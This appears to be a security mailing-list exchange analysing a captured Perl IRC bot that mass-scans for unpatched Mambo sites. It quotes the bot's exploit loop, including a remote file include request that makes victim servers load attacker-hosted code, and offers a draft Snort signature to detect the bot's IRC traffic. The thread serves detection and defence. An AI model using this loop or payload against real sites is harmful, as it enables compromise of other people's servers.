Seems to have some kind of google search code for the particular
vulnerability - haven't seen this before:
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1."
seconds.");^M
srand;^M
my $itime = time;^M
my ($cur_time);^M
my ($exploited);^M
$boturl=$2;^M
$cur_time = time - $itime;$exploited = 0;^M
while($1>$cur_time){^M
$cur_time = time - $itime;^M
@urls=fetch();^M
foreach $url (@urls) {^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Trying to exploit ".$url);^M
$cur_time = time - $itime;^M
my $path = "";my $file = "";($path, $file) =
$url =~ /^(.+)\/(.+)$/;^M
$url
=$path."/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=$boturl?";^M
$page = http_query($url);^M
$exploited = $exploited + 1;^M
}^M
}^M
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1."
seconds.");^M
This is a quick stab at a snort sig:
alert tcp $EXTERNAL_NET !21:443 -> $HOME_NET !80 (msg: "BLEEDING-EDGE
perlb0t Bot Reporting Scan/Exploit"; flow: to_server,established;
content:"PRIVMSG|20|"; nocase; within: 80; tag: session, 20, packets;
pcre:"/(GOOGLE|HTTP|TCP|SCAN|UDP|VERSION)/i"; within:16;
pcre:"/(Exploiting|Exploited}Attacking|Scanning|perlb0t)/i";
classtype: trojan-activity; sid: xxxx; rev:1; )
but I'm sure this could be improved.
cheers,

Looks like some sort of shellbot wanting to connect to an IRC channel

I've been seeing occaisonal probes for Mambo's index.php on and off
for a while now - the first part is similar to
http://nz-honeynet.org/papers/mambo-exploit-obfuscated.pdf but the
payloads are slightly different, though it always seems to end up with
an IRC bot of some kind.
I usually see them coupled with scans for coppermine and other remote
include issues, plus xmlrpc probes.
I think you're seeing an attempt to exploit issue#3 here -
